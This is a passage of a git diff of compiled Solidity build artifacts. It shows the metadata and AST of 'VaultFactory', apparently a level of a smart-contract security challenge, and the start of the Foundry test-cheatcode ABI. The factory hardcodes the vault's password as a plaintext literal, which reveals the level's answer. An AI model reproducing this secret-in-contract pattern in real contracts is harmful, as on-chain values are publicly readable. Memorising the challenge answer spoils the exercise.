internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/VaultFactory.sol\":\"VaultFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Vault.sol\":{\"keccak256\":\"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b\",\"dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h\"]},\"src/levels/VaultFactory.sol\":{\"keccak256\":\"0x81684c8d189082762c03d9663cce5cd0ad38634abe821c9583eb3921e041107b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bd0c30d58a39b17c535ffec3132263b6807d00a2cf0b75c6f9c36ba7446f365f\",\"dweb:/ipfs/QmeMQ5NKN9KDyAKwosQkJbNUGPv3YT4bV62fK8PKoeELjF\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/VaultFactory.sol":"VaultFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Vault.sol":{"keccak256":"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527","urls":["bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b","dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h"],"license":"MIT"},"src/levels/VaultFactory.sol":{"keccak256":"0x81684c8d189082762c03d9663cce5cd0ad38634abe821c9583eb3921e041107b","urls":["bzz-raw://bd0c30d58a39b17c535ffec3132263b6807d00a2cf0b75c6f9c36ba7446f365f","dweb:/ipfs/QmeMQ5NKN9KDyAKwosQkJbNUGPv3YT4bV62fK8PKoeELjF"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/VaultFactory.sol","id":55465,"exportedSymbols":{"Context":[48281],"Level":[55508],"Ownable":[46700],"Vault":[55405],"VaultFactory":[55464]},"nodeType":"SourceUnit","src":"33:554:113","nodes":[{"id":55407,"nodeType":"PragmaDirective","src":"33:23:113","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55408,"nodeType":"ImportDirective","src":"58:26:113","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":55465,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":55409,"nodeType":"ImportDirective","src":"85:21:113","nodes":[],"absolutePath":"src/levels/Vault.sol","file":"./Vault.sol","nameLocation":"-1:-1:-1","scope":55465,"sourceUnit":55406,"symbolAliases":[],"unitAlias":""},{"id":55464,"nodeType":"ContractDefinition","src":"108:478:113","nodes":[{"id":55440,"nodeType":"FunctionDefinition","src":"145:250:113","nodes":[],"body":{"id":55439,"nodeType":"Block","src":"228:167:113","nodes":[],"statements":[{"expression":{"id":55419,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55413,"src":"238:7:113","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55420,"nodeType":"ExpressionStatement","src":"238:7:113"},{"assignments":[55422],"declarations":[{"constant":false,"id":55422,"mutability":"mutable","name":"password","nameLocation":"263:8:113","nodeType":"VariableDeclaration","scope":55439,"src":"255:16:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":55421,"name":"bytes32","nodeType":"ElementaryTypeName","src":"255:7:113","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":55424,"initialValue":{"hexValue":"412076657279207374726f6e67207365637265742070617373776f7264203a29","id":55423,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"274:34:113","typeDescriptions":{"typeIdentifier":"t_stringliteral_bf7beae9e8d8f78c3f0da5a4b24a4866e862d83b9b687570197492967d86fec4","typeString":"literal_string \"A very strong secret password :)\""},"value":"A very strong secret password :)"},"nodeType":"VariableDeclarationStatement","src":"255:53:113"},{"assignments":[55427],"declarations":[{"constant":false,"id":55427,"mutability":"mutable","name":"instance","nameLocation":"324:8:113","nodeType":"VariableDeclaration","scope":55439,"src":"318:14:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"},"typeName":{"id":55426,"nodeType":"UserDefinedTypeName","pathNode":{"id":55425,"name":"Vault","nameLocations":["318:5:113"],"nodeType":"IdentifierPath","referencedDeclaration":55405,"src":"318:5:113"},"referencedDeclaration":55405,"src":"318:5:113","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"visibility":"internal"}],"id":55433,"initialValue":{"arguments":[{"id":55431,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55422,"src":"345:8:113","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":55430,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"335:9:113","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_bytes32_$returns$_t_contract$_Vault_$55405_$","typeString":"function (bytes32) returns (contract Vault)"},"typeName":{"id":55429,"nodeType":"UserDefinedTypeName","pathNode":{"id":55428,"name":"Vault","nameLocations":["339:5:113"],"nodeType":"IdentifierPath","referencedDeclaration":55405,"src":"339:5:113"},"referencedDeclaration":55405,"src":"339:5:113","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}}},"id":55432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"335:19:113","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"nodeType":"VariableDeclarationStatement","src":"318:36:113"},{"expression":{"arguments":[{"id":55436,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55427,"src":"379:8:113","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}],"id":55435,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"371:7:113","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55434,"name":"address","nodeType":"ElementaryTypeName","src":"371:7:113","typeDescriptions":{}}},"id":55437,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"371:17:113","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":55418,"id":55438,"nodeType":"Return","src":"364:24:113"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"154:14:113","overrides":{"id":55415,"nodeType":"OverrideSpecifier","overrides":[],"src":"201:8:113"},"parameters":{"id":55414,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55413,"mutability":"mutable","name":"_player","nameLocation":"177:7:113","nodeType":"VariableDeclaration","scope":55440,"src":"169:15:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55412,"name":"address","nodeType":"ElementaryTypeName","src":"169:7:113","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"168:17:113"},"returnParameters":{"id":55418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55417,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55440,"src":"219:7:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55416,"name":"address","nodeType":"ElementaryTypeName","src":"219:7:113","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"218:9:113"},"scope":55464,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":55463,"nodeType":"FunctionDefinition","src":"401:183:113","nodes":[],"body":{"id":55462,"nodeType":"Block","src":"499:85:113","nodes":[],"statements":[{"assignments":[55452],"declarations":[{"constant":false,"id":55452,"mutability":"mutable","name":"instance","nameLocation":"515:8:113","nodeType":"VariableDeclaration","scope":55462,"src":"509:14:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"},"typeName":{"id":55451,"nodeType":"UserDefinedTypeName","pathNode":{"id":55450,"name":"Vault","nameLocations":["509:5:113"],"nodeType":"IdentifierPath","referencedDeclaration":55405,"src":"509:5:113"},"referencedDeclaration":55405,"src":"509:5:113","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"visibility":"internal"}],"id":55456,"initialValue":{"arguments":[{"id":55454,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55442,"src":"532:9:113","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":55453,"name":"Vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55405,"src":"526:5:113","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vault_$55405_$","typeString":"type(contract Vault)"}},"id":55455,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"526:16:113","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"nodeType":"VariableDeclarationStatement","src":"509:33:113"},{"expression":{"id":55460,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"559:18:113","subExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55457,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55452,"src":"560:8:113","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"id":55458,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"569:6:113","memberName":"locked","nodeType":"MemberAccess","referencedDeclaration":55373,"src":"560:15:113","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":55459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"560:17:113","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":55449,"id":55461,"nodeType":"Return","src":"552:25:113"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"410:16:113","overrides":{"id":55446,"nodeType":"OverrideSpecifier","overrides":[],"src":"475:8:113"},"parameters":{"id":55445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55442,"mutability":"mutable","name":"_instance","nameLocation":"443:9:113","nodeType":"VariableDeclaration","scope":55463,"src":"427:25:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":55441,"name":"address","nodeType":"ElementaryTypeName","src":"427:15:113","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":55444,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55463,"src":"454:7:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55443,"name":"address","nodeType":"ElementaryTypeName","src":"454:7:113","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"426:36:113"},"returnParameters":{"id":55449,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55448,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55463,"src":"493:4:113","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55447,"name":"bool","nodeType":"ElementaryTypeName","src":"493:4:113","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"492:6:113"},"scope":55464,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":55410,"name":"Level","nameLocations":["133:5:113"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"133:5:113"},"id":55411,"nodeType":"InheritanceSpecifier","src":"133:5:113"}],"canonicalName":"VaultFactory","contractDependencies":[55405],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55464,55508,46700,48281],"name":"VaultFactory","nameLocation":"117:12:113","scope":55465,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":113} \ No newline at end of file diff --git a/contracts/out/Vm.sol/Vm.json b/contracts/out/Vm.sol/Vm.json new file mode 100644 index 000000000..f7631fecc --- /dev/null +++ b/contracts/out/Vm.sol/Vm.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"accesses","inputs":[{"name":"target","type":"address","internalType":"address"}],"outputs":[{"name":"readSlots","type":"bytes32[]","internalType":"bytes32[]"},{"name":"writeSlots","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"activeFork","inputs":[],"outputs":[{"name":"forkId","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"addr","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"keyAddr","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"allowCheatcodes","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbs","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqAbsDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRel","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertApproxEqRelDecimal","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"maxPercentDelta","type":"uint256","internalType":"uint256"},{"name":"decimals","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32[]","internalType":"bytes32[]"},{"name":"right","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"string","internalType":"string"},{"name":"right","type":"string","internalType":"string"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address[]","internalType":"address[]"},{"name":"right","type":"address[]","internalType":"address[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool","internalType":"bool"},{"name":"right","type":"bool","internalType":"bool"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"address","internalType":"address"},{"name":"right","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bool[]","internalType":"bool[]"},{"name":"right","type":"bool[]","internalType":"bool[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256[]","internalType":"int256[]"},{"name":"right","type":"int256[]","internalType":"int256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"int256","internalType":"int256"},{"name":"right","type":"int256","internalType":"int256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"},{"name":"error","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256[]","internalType":"uint256[]"},{"name":"right","type":"uint256[]","internalType":"uint256[]"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes","internalType":"bytes"},{"name":"right","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"uint256","internalType":"uint256"},{"name":"right","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"function","name":"assertEq","inputs":[{"name":"left","type":"bytes32","internalType":"bytes32"},{"name":"right","type":"bytes32","internalType":"bytes32"},{"name":"error","type":"string","internalType":"string"}],"ou